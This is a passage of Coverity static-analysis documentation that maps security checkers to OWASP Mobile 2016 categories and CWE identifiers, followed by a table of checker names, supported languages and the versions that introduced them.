| SENSITIVE_DATA_LEAK | 17, 18, 19, 199, 200, 201, 209, 254, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 728, 729, 731, 734, 743, 750, 751, 755, 800, 801, 803, 809, 815, 816, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 900, 907, 922, 928, 930, 933, 934, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1032 | ||||
| UNENCRYPTED_SENSITIVE_DATA | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 315, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | ||||
| owasp-mobile-2016-M3 | Insecure Communication | This covers poor handshaking, incorrect SSL versions, weak negotiation, cleartext communication of sensitive assets, etc. | BAD_CERT_VERIFICATION | 17, 18, 227, 254, 264, 284, 295, 296, 300, 310, 361, 573, 632, 635, 664, 693, 699, 700, 710, 711, 723, 724, 731, 844, 850, 859, 884, 887, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1014, 1026, 1029, 1031 | |
| CONFIG.ATS_INSECURE | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | ||||
| INSECURE_COMMUNICATION | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | ||||
| INSECURE_MULTIPEER_CONNECTION | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | ||||
| RISKY_CRYPTO | 17, 18, 254, 264, 284, 300, 310, 326, 327, 328, 361, 629, 632, 635, 664, 693, 699, 700, 711, 719, 720, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 959, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | ||||
| SENSITIVE_DATA_LEAK | 17, 18, 19, 199, 200, 201, 209, 254, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 728, 729, 731, 734, 743, 750, 751, 755, 800, 801, 803, 809, 815, 816, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 900, 907, 922, 928, 930, 933, 934, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1032 | ||||
| UNENCRYPTED_SENSITIVE_DATA | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 315, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | ||||
| owasp-mobile-2016-M4 | Insecure Authentication | This category captures notions of authenticating the end user or bad session management. This can include failing to identify the user at all when that should be required, failure to maintain the user's identity when it is required, and weaknesses in session management. | HARDCODED_CREDENTIALS | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | |
| WEAK_BIOMETRIC_AUTH | 17, 18, 254, 264, 284, 287, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 809, 812, 888, 892, 898, 899, 907, 928, 930, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | ||||
| owasp-mobile-2016-M5 | Insufficient Cryptography | The code applies cryptography to a sensitive information asset. However, the cryptography is insufficient in some way. Note that anything and everything related to TLS or SSL goes in M3. Also, if the app fails to use cryptography at all when it should, that probably belongs in M2. This category is for issues where cryptography was attempted, but it wasn't done correctly. | BAD_CERT_VERIFICATION | 17, 18, 227, 254, 264, 284, 295, 296, 300, 310, 361, 573, 632, 635, 664, 693, 699, 700, 710, 711, 723, 724, 731, 844, 850, 859, 884, 887, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1014, 1026, 1029, 1031 | |
| HARDCODED_CREDENTIALS | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | ||||
| RISKY_CRYPTO | 17, 18, 254, 264, 284, 300, 310, 326, 327, 328, 361, 629, 632, 635, 664, 693, 699, 700, 711, 719, 720, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 959, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | ||||
| owasp-mobile-2016-M6 | Insecure Authorization | This is a category to capture any failures in authorization (e.g., authorization decisions in the client side, forced browsing, etc.). It is distinct from authentication issues (e.g., device enrolment, user identification, etc.). If the app does not authenticate users at all in a situation where it should (e.g., granting anonymous access to some resource or service when authenticated and authorized access is required), then that is an authentication failure not an authorization failure. | |||
| owasp-mobile-2016-M7 | Poor Code Quality | This would be the catch-all for code-level implementation problems in the mobile client. This would capture things like buffer overflows, format string vulnerabilities, and various other code-level mistakes where the solution is to rewrite some code that's running on the mobile device. | CONSTANT_EXPRESSION_RESULT | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | |
| COPY_PASTE_ERROR | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||||
| DEADCODE | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||||
| FORWARD_NULL | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||||
| IDENTICAL_BRANCHES | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||||
| PATH_MANIPULATION | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | ||||
| PROPERTY_MIXUP | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||||
| REGEX_INJECTION | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | ||||
| REVERSE_INULL | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||||
| SQLI | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | ||||
| UNEXPECTED_CONTROL_FLOW | 17, 18, 388, 389, 391, 398, 699, 700, 703, 710, 711, 728, 734, 743, 746, 844, 851, 868, 876, 877, 880, 888, 889, 907, 961, 962, 978, 1000, 1003, 1008, 1012, 1020 | ||||
| owasp-mobile-2016-M8 | Code Tampering | This category covers binary patching, local resource modification, method hooking, method swizzling, and dynamic memory modification. Once the application is delivered to the mobile device, the code and data resources are resident there. An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application's data and resources. This can provide the attacker a direct method of subverting the intended use of the software for personal or monetary gain. | |||
| owasp-mobile-2016-M9 | Reverse Engineering | This category includes analysis of the final core binary to determine its source code, libraries, algorithms, and other assets. Software such as IDA Pro, Hopper, otool, and other binary inspection tools give the attacker insight into the inner workings of the application. This may be used to exploit other nascent vulnerabilities in the application, as well as revealing information about back end servers, cryptographic constants and ciphers, and intellectual property. | |||
| owasp-mobile-2016-M10 | Extraneous Functionality | Often, developers include hidden backdoor functionality or other internal development security controls that are not intended to be released into a production environment. For example, a developer may accidentally include a password as a comment in a hybrid app. Another example includes disabling of 2-factor authentication during testing. | HARDCODED_CREDENTIALS | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 |
Table H.1, “Coverity Checkers” identifies versions in which checkers were introduced or changed.
Checkers: A | B | C | D | E | F | G | H |I | J | L | M | N | O | P | R | S | T | U | V | W | X
Table H.1. Coverity Checkers
| Name | Lang[a] | New In, Updated In[b] |
|---|---|---|
| ALLOC_FREE_MISMATCH | C/C++ | 6.5.1 |
| ANDROID_DEBUG_MODE | Java (Android security checker) | 2017.07 |
| ANGULAR_EXPRESSION_INJECTION | JavaScript (Tainted dataflow checker) | 8.7 |
| ARRAY_VS_SINGLETON | C/C++ | 4.1, 4.3 |
| ASPNET_MVC_VERSION_HEADER | C# Web app | 8.7 |
| Visual Basic | 2018.09 | |
| ASSERT_SIDE_EFFECT | C/C++ | 4.4, 6.0 |
| ASSIGN_NOT_RETURNING_STAR_THIS | C++ | 5.5.1 |
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | C, C++, Objective C, Objective C++ | 2018.03 |
| ATOMICITY | C/C++ | 4.0, 4.5 |
| Java | 4.0, 4.3, 4.4, 6.0 | |
| BAD_ALLOC_ARITHMETIC | C/C++ | 4.1, 4.5 |
| BAD_ALLOC_STRLEN | C/C++ | 4.0, 4.5 |
| BAD_CERT_VERIFICATION | Java Web app, Java Android | 8.5 |
| BAD_CHECK_OF_WAIT_COND | Java | 7.5.0, 7.6.0 |
| BAD_COMPARE | C/C++ | 2.x, 6.5, 7.6.0 |
| BAD_EQ | C# | 4.2, 4.5, 7.0 |
| BAD_EQ_TYPES | C# | 4.2, 4.4, 4.5 |
| BAD_FREE | C/C++ | 3.1 |
| BAD_LOCK_OBJECT | C# | 7.5.0, 7.6.0 |
| Java | 7.5.0, 7.6.0 | |
| BAD_OVERRIDE | C++ | 2.x, 5.2 |
| BAD_SHIFT | C/C++ | 7.0 |
| C# | 7.0 | |
| Java | 7.0 | |
| BAD_SIZEOF | C/C++ | 5.2 |
| BUFFER_SIZE | C/C++ | 2.x, 3.10 |
| CALL_SUPER | C# | 4.0, 7.0 |
| Java | 3.0, 3.3, 3.4, 3.7, 5.3 | |
| Visual Basic | 2018.01 | |
| CHAR_IO | C/C++ | 3.1, 3.6, 2018.01 |
| CHECKED_RETURN | C/C++ | 2.x, 6.6.0 |
| Java | 4.0, 6.0 | |
| CHROOT | C/C++ | 2.x |
| COM.ADDROF_LEAK | C++ | 6.6.0 |
| COM.BAD_FREE | C++ | 3.1, 4.5, 7.5.0 |
| COM.BSTR.ALLOC | C++ | 2.4.5, 5.3 |
| COM.BSTR.BAD_COMPARE | C++ | 5.3 |
| COM.BSTR.CONV | C++ | 3.0, 4.0, 7.5.0 |
| COM.BSTR.NE_NON_BSTR | C++ | 5.3 |
| CONFIG.ASP_VIEWSTATE_MAC | C# Web app | 8.0 |
| CONFIG.ASPNET_VERSION_HEADER | C# Web app | 8.7 |
| CONFIG.ATS_INSECURE | Swift | 2018.01 |
| CONFIG.COOKIES_MISSING_HTTPONLY | C# Web app | 8.7 |
| CONFIG.CONNECTION_STRING_PASSWORD | C# Web app | 8.7 |
| CONFIG.DEAD_AUTHORIZATION_RULE | C# Web app | 8.0 |
| CONFIG.DUPLICATE_SERVLET _DEFINITION | Java Web app | 7.0 |
| CONFIG.DWR_DEBUG_MODE | Java Web app | 7.0 |
| CONFIG.DYNAMIC_DATA_HTML_COMMENT | Java Web app | 7.0 |
| C# | 2018.01 | |
| CONFIG.ENABLED_DEBUG_MODE | C# Web app | 8.0 |
| CONFIG.ENABLED_TRACE_MODE | C# Web app | 8.0 |
| CONFIG.HANA_XS_PREVENT_XSRF_DISABLED | JavaScript | 2017.07 |
| CONFIG.HTTP_VERB_TAMPERING | Java Web app | 7.0 |
| CONFIG.MISSING_CUSTOM_ERROR_PAGE | C# Web app | 8.7 |
| CONFIG.JAVAEE_MISSING_HTTPONLY | Java Web app | 7.0 |
| CONFIG.MISSING_GLOBAL _EXCEPTION_HANDLER | Java Web app | 7.0 |
| CONFIG.MISSING_JSF2_SECURITY _CONSTRAINT | Java Web app | 7.0 |
| CONFIG.SPRING_SECURITY _DEBUG_MODE | Java Web app | 7.0 |
| CONFIG.SPRING_SECURITY _DISABLE_AUTH_TAGS | Java Web app | 7.0 |
| CONFIG.SPRING_SECURITY _HARDCODED_CREDENTIALS | Java Web app | 7.0 |
| CONFIG.SPRING_SECURITY _REMEMBER_ME_HARDCODED_KEY | Java Web app | 7.0 |
| CONFIG.SPRING_SECURITY _SESSION_FIXATION | Java Web app | 7.0 |
| CONFIG.STRUTS2_CONFIG _BROWSER_PLUGIN | Java Web app | 7.0 |
| CONFIG.STRUTS2_DYNAMIC _METHOD_INVOCATION | Java Web app | 7.0 |
| CONFIG.STRUTS2_ENABLED _DEV_MODE | Java Web app | 7.0 |
| CONFIG.UNSAFE_SESSION_TIMEOUT | Java Web app | 8.7 |
| CONSTANT_EXPRESSION_RESULT | C/C++ | 4.5, 5.0, 7.5.0 |
| C# | 7.0, 7.5.0 | |
| Java | 6.5.1, 7.5.0 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| Python | 8.0 | |
| Ruby | 8.5 | |
| Scala | 2018.01 | |
| Swift | 2018.01 | |
| COOKIE_INJECTION | JavaScript (Tainted dataflow checker) | 8.5 |
| COPY_PASTE_ERROR | C/C++ | 6.0, 6.5 |
| C# | 7.0 | |
| Java | 6.0, 6.5 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| Python | 8.0 | |
| Ruby | 8.5 | |
| Visual Basic | 2018.01 | |
| Scala | 2018.01 | |
| COPY_WITHOUT_ASSIGN | C/C++ | 5.5.1 |
| CSRF | C# Web app | 7.7.0 |
| Java Web app | 7.0.3.s2 | |
| JavaScript | 2017.07 | |
| CTOR_DTOR_LEAK | C/C++ | 2.x, 5.3 |
| CUSTOM_KEYBOARD_DATA_LEAK | Swift | 2018.01 |
| DC.CUSTOM_<CHECKER> | C/C++ | 7.5.0, 7.6.0 |
| C# | 7.5.0, 7.6.0 | |
| Java | 7.5.0, 7.6.0 | |
| DC.DANGEROUS | Java | 7.5.1.s3 |
| DC.DEADLOCK | Java | 7.5.1.s3 |
| DC.STREAM_BUFFER | C/C++ | 7.5.0 |
| DC.STRING_BUFFER | C/C++ | 7.5.0 |
| DC.WEAK_CRYPTO | C/C++ | 7.5.0 |
| DF.CUSTOM_<CHECKER> | C# | 8.5 |
| Java | 8.5 | |
| DEADCODE | C/C++ | 2.x, 5.3, 7.5.0 |
| C# | 7.0, 7.5.0 | |
| Java | 4.3, 4.4, 7.5.0 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| Python | 8.0 | |
| Ruby | 8.5 | |
| Scala | 2018.01 | |
| Swift | 2018.01 | |
| DEADLOCK | Java: Dynamic Analysis | 5.4 |
| DELETE_ARRAY | C++ | 2.x, 5.2 |
| DELETE_VOID | C/C++ | 4.1, 4.5 |
| DIVIDE_BY_ZERO | C/C++ | 5.5, 7.5.0 |
| C# | 7.5.0 | |
| Java | 7.5.0 | |
| DOM_XSS | JavaScript (Tainted dataflow checker) | 8.0, 2017.07 |
| EL_INJECTION | Java Web app (Tainted dataflow checker) | 7.0 |
| ENUM_AS_BOOLEAN | C++ | 5.3 |
| EVALUATION_ORDER | C/C++ | 4.0 |
| EXPLICIT_THIS_EXPECTED | JavaScript | 7.7.0 |
| EXPOSED_PREFERENCES | Java Android | 8.5 |
| FB.* | Java | 5.5, 6.0, 6.0.2, 7.0 |
| FORWARD_NULL | C/C++ | 2.x, 7.6.0 |
| C# | 4.0, 4.2, 4.4, 4.5, 7.0, 7.6.0 | |
| Java | 3.0, 3.4, 3.5, 5.3, 6.0, 7.6.0 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| Python | 8.0 | |
| Ruby | 8.5 | |
| Visual Basic | 2018.01 | |
| Scala | 2018.01 | |
| GUARDED_BY_VIOLATION | C# | 4.3, 7.0 |
| Java | 3.8, 4.0, 4.3, 5.3, 6.0 | |
| HARDCODED_CREDENTIALS | C/C++ | 8.0 |
| C# Web app | 7.7.0 | |
| Java Web app, Java Android | 7.0, 8.5 | |
| JavaScript | 2017.07 | |
| Swift | 2018.01 | |
| HEADER_INJECTION | C# Web app (Tainted dataflow checker) | 8.0.0.S1 |
| Java Web app (Tainted dataflow checker) | 7.0 | |
| JavaScript (Tainted dataflow checker) | 8.5 | |
| PHP | 2018.01 | |
| HFA | C | NA[c] |
| HIBERNATE_BAD_HASHCODE | Java | 6.5 |
| IDENTICAL_BRANCHES | C/C++ | 7.5.0, 7.6.0 |
| C# | 7.5.0, 7.6.0 | |
| Java | 7.5.0, 7.6.0 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| Python | 8.0 | |
| Ruby | 8.5 | |
| Swift | 2017.07 | |
| Visual Basic | 2018.01 | |
| Scala | 2018.01 | |
| IDENTIFIER_TYPO | JavaScript | 8.0 |
| PHP | 8.0 | |
| Python | 8.0 | |
| Ruby | 8.5 | |
| IMPLICIT_INTENT | Java Android | 8.7 |
| INCOMPATIBLE_CAST | C/C++ | 6.0 |
| INFINITE_LOOP | C/C++ | 3.4, 3.5 |
| C# | 7.0 | |
| Java | 6.5, 7.0 | |
| INSECURE_COMMUNICATION | Swift | 2018.01 |
| INSECURE_MULTIPEER_CONNECTION | Swift | 2018.01 |
| INSECURE_RANDOM | C# Web app (Tainted dataflow checker) | 8.7 |
| Java Web app (Tainted dataflow checker) | 8.7 | |
| INSECURE_SALT | JavaScript | 2018.01 |
| INTEGER_OVERFLOW | C/C++ | 3.8, 5.2 |
| INVALIDATE_ITERATOR | C++ | 2.x, 5.2 |
| Java | 6.5, 7.6.0 | |
| JAVA_CODE_INJECTION | Java Web app (Tainted dataflow checker) | 7.0, 7.0.3.s2 |
| JCR_INJECTION | Java Web app (Tainted dataflow checker) | 7.0 |
| JSHINT | JavaScript | 7.7.0 |
| JSP_DYNAMIC_INCLUDE | Java Web app (Tainted dataflow checker) | 7.0 |
| JSP_SQL_INJECTION | Java Web app (Tainted dataflow checker) | 7.0 |
| LDAP_INJECTION | C# Web app (Tainted dataflow checker) | 8.0 |
| Java Web app (Tainted dataflow checker) | 7.0 | |
| LOCK | C/C++ | 2.x, 3.5, 3.7, 8.7 |
| LOCK_EVASION | C# | 7.5.0, 7.6.0 |
| Java | 7.5.0, 7.6.0 | |
| LOCK_INVERSION | C# | 4.2, 4.4, 7.0 |
| Java | 3.4, 3.6, 3.8, 4.4, 6.0, 7.0 | |
| MISMATCHED_ITERATOR | C++ | 3.5, 5.2, 5.3 |
| MISRA_CAST | C/C++ | 4.4 |
| MISSING_AUTHZ | C# Web app (Tainted dataflow checker) | 8.7 |
| JavaScript | 2017.07 | |
| MISSING_IFRAME_SANDBOX | JavaScript | 2017.07 |
| MISSING_BREAK | C/C++ | 4.0, 4.2 |
| Java | 6.5 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| MISSING_COMMA | C/C++ | 7.0 |
| MISSING_COPY_OR_ASSIGN (MISSING_COPY, MISSING_ASSIGN) | C++ | 5.5.1 |
| MISSING_LOCK | C/C++ | 3.7, 3.8, 4.5 |
| MISSING_MOVE_ASSIGNMENT | C++ | 8.5 |
| MISSING_PERMISSION_FOR_BROADCAST | Java Android | 8.5 |
| MISSING_PERMISSION_ON_EXPORTED_COMPONENT | Java Android | 8.5 |
| MISSING_RESTORE | C++ | 6.6.0, 7.0 |
| C# | 7.5.0 | |
| Java | 6.5, 7.0 | |
| MISSING_RETURN | C/C++ | 3.1 |
| MISSING_THROW | C# | 7.5.0 |
| Java | 7.5.0 | |
| MIXED_ENUMS | C/C++ | 4.4 |
| MOBILE_ID_MISUSE | Java Android | 8.7 |
| NEGATIVE_RETURNS | C/C++ | 2.x, 6.0.2 |
| NESTING_INDENT_MISMATCH | C/C++ | 6.5, 6.6.0 7.0, 7.5.0 |
| C# | 7.0, 7.5.0 | |
| Java | 6.5, 6.6.0, 7.0, 7.5.0 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| Scala | 2018.01 | |
| NON_STATIC_GUARDING_STATIC | C# | 4.3, 4.4, 7.0, 7.5.0 |
| Java | 7.5.0 | |
| NOSQL_QUERY_INJECTION | C# Web app (Tainted dataflow checker) | 8.0.0.S1 |
| Java Web app (Tainted dataflow checker) | 7.0 | |
| JavaScript Web app (Tainted dataflow checker) | 8.7 | |
| Swift | 2018.01 | |
| NO_EFFECT | C/C++ | 2.x, 3.1 |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| Ruby | 8.5 | |
| Scala | 2018.01 | |
| NULL_RETURNS | C++ | 2.x, 4.0, 7.0 |
| C# | 4.0, 4.2, 4.5, 7.0 | |
| Java | 3.0, 3.4, 3.5, 5.3, 7.0 | |
| JavaScript | 7.7.0 | |
| Swift | 2018.01 | |
| OGNL_INJECTION | Java Web app (Tainted dataflow checker) | 7.0 |
| OPEN_ARGS | C/C++ | 2.x |
| OPEN_REDIRECT | C# Web app (Tainted dataflow checker) | 8.5 |
| Java Web app (Tainted dataflow checker) | 8.5 | |
| JavaScript | 2017.07 | |
| Python | 2018.01 | |
| ORDER_REVERSAL | C/C++ | 2.x, 3.7 |
| ORM_LOAD_NULL_CHECK | Java | 6.5.1 |
| ORM_LOST_UPDATE | Java | 6.5.1 |
| ORM_UNNECESSARY_GET | Java | 6.5 |
| OS_CMD_INJECTION | C# Web app (Tainted dataflow checker) | 7.7.0, 8.5 |
| Java Web app (Tainted dataflow checker), Java Android | 6.5.1, 8.7 | |
| JavaScript Web app (Tainted dataflow checker) | 8.5 | |
| PHP | 2018.01 | |
| Python | 2018.01 | |
| OVERFLOW_BEFORE_WIDEN | C/C++ | 5.5, 7.5.0, 7.6.0 |
| C# | 7.0, 7.5.0 | |
| Java | 6.5, 7.5.0 | |
| OVERLAPPNG_COPY | C/C++ | 2018.01 |
| OVERRUN | C/C++ | 6.0, 6.5 |
| PARSE_ERROR | C/C++ | |
| PASS_BY_VALUE | C/C++ | 2.x, 5.2 |
| PATH_MANIPULATION | C# Web app (Tainted dataflow checker) | 7.7.0 |
| Java Web app (Tainted dataflow checker), Java Android | 6.6.0, 8.7 | |
| JavaScript Web app (Tainted dataflow checker) | 8.5 | |
| PHP | 2018.01 | |
| Python | 2018.01 | |
| PW.* | C/C++ | 3.1, 3.3, 5.3 |
| PREDICTABLE_RANDOM_SEED | Java Web app, Java Android | 8.5 |
| PROPERTY_MIXUP | C#, Java, and Swift | 2018.01 |
| RACE_CONDITION | Java: Dynamic Analysis | NA[c] |
| READLINK | C/C++ | 3.3, 4.5 |
| REGEX_CONFUSION | Java | 7.5.0 |
| REGEX_INJECTION | C# Web app (Tainted dataflow checker) | 8.5 |
| Java Web app (Tainted dataflow checker), Java Android | 7.0, 8.7 | |
| JavaScript security (Tainted dataflow checker) | 8.5 | |
| RESOURCE_LEAK | C++ | 2.x, 5.3, 7.0 |
| C# | 4.0, 4.2, 4.3, 4.5, 7.0 | |
| Java | 3.0, 3.2, 3.5, 5.3, 6.0, 7.0 | |
| Java: Dynamic Analysis | NA[c] | |
| Visual Basic | 2018.01 | |
| RETURN_LOCAL | C/C++ | 2.x, 3.4, 7.6.0 |
| REVERSE_INULL | C++ | 2.x, 3.1 |
| C# | 4.0, 4.2, 7.0 | |
| Java | 3.0, 3.5, 3.7, 6.0 | |
| JavaScript | 7.7.0 | |
| Python | 8.0 | |
| Ruby | 8.5 | |
| Visual Basic | 2018.01 | |
| Swift | 2018.01 | |
| REVERSE_NEGATIVE | C/C++ | 2.x |
| RISKY_CRYPTO | C/C++ | 7.6.0 |
| C# Web app | 7.7.0 | |
| Java Web app, Java Android | 7.0.3.s2, 7.0.3.s4, 8.5 | |
| JavaScript | 2017.07 | |
| Swift | 2018.01 | |
| RW.* | C/C++ | 3.1, 3.3, 5.3 |
| SCRIPT_CODE_INJECTION | C# Web app (Tainted dataflow checker) | 8.0.0.S1 |
| Java Web app (Tainted dataflow checker) | 7.0 | |
| JavaScript Web app (Tainted dataflow checker) | 8.7 | |
| Python | 2018.01 | |
| PHP | 2018.01 | |
| SECURE_CODING | C/C++ | 2.x |
| SECURE_TEMP | C/C++ | 2.x |
| SELF_ASSIGN | C/C++ | 5.5.1 |
| SENSITIVEf_DATA_LEAK | Java Web app, Java Android | 7.5.1.s3, 8.7 |
| C# Web app | 7.7.0 | |
| JavaScript | 2017.07 | |
| PHP | 2018.01 | |
| Python | 2018.01 | |
| Swift | 2018.01 | |
| SERVLET_ATOMICITY | Java | 6.5, 7.0 |
| SESSION_FIXATION | Java Web app (Tainted dataflow checker) | 7.0 |
| SIGN_EXTENSION | C/C++ | 4.3 |
| SINGLETON_RACE | Java | 6.5, 7.0 |
| SIZECHECK | C/C++ | 2.x, 2.4, 3.1, 7.0 |
| SIZEOF_MISMATCH | C/C++ | 5.2 |
| SLEEP | C/C++ | 2.x, 3.7 |
| SQLI | C# Web app (Tainted dataflow checker) | 7.7.0, 8.5 |
| Java Web app (Tainted dataflow checker), Java Android | 6.5, 6.5.1, 8.7 | |
| JavaScript Web app (Tainted dataflow checker) | 8.5 | |
| PHP | 2018.01 | |
| Python | 2018.01 | |
| STACK_USE | C/C++ | 2.x, 4.4, 5.3, 6.5 |
| STRAY_SEMICOLON | C/C++ | 5.2 |
| C# | 7.0 | |
| Java | 6.5 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| STREAM_FORMAT_STATE | C++ | 4.1, 4.5, 5.3 |
| STRING_NULL | C/C++ | 2.x |
| STRING_OVERFLOW | C/C++ | 2.x, 3.4 |
| STRING_SIZE | C/C++ | 2.x |
| SW.* | C/C++ | 3.1, 3.3, 5.3 |
| SWAPPED_ARGUMENTS | C/C++ | 6.5, 7.5.0 |
| C# | 7.0 | |
| Java | 6.5 | |
| Visual Basic | 2018.01 | |
| TAINT_ASSERT | C# Web app (Tainted dataflow checker) | 8.0 |
| Java Web app (Tainted dataflow checker) | 6.5.1, 6.6.0, 7.0.3.s4 | |
| TAINTED_SCALAR | C/C++ | 2.x |
| TAINTED_STRING | C/C++ | 2.x |
| TEXT.CUSTOM_CHECKER | Text | 2017.07 |
| TOCTOU | C/C++ | 2.x |
| UNCAUGHT_EXCEPT | C++ | 2.x, 5.2 |
| UNCHECKED_ORIGIN | JavaScript | 8.7 |
| UNENCRYPTED_SENSITIVE_DATA | C# Web app | 8.0 |
| Java Web app | 7.6.0.s1 | |
| Swift | 2018.01 | |
| UNEXPECTED_CONTROL_FLOW | Visual Basic | 2018.01 |
| UNINIT | C/C++ | 2.x, 3.4, 3.5, 3.6, 3.10, 4.5, 5.3, 7.6.0 |
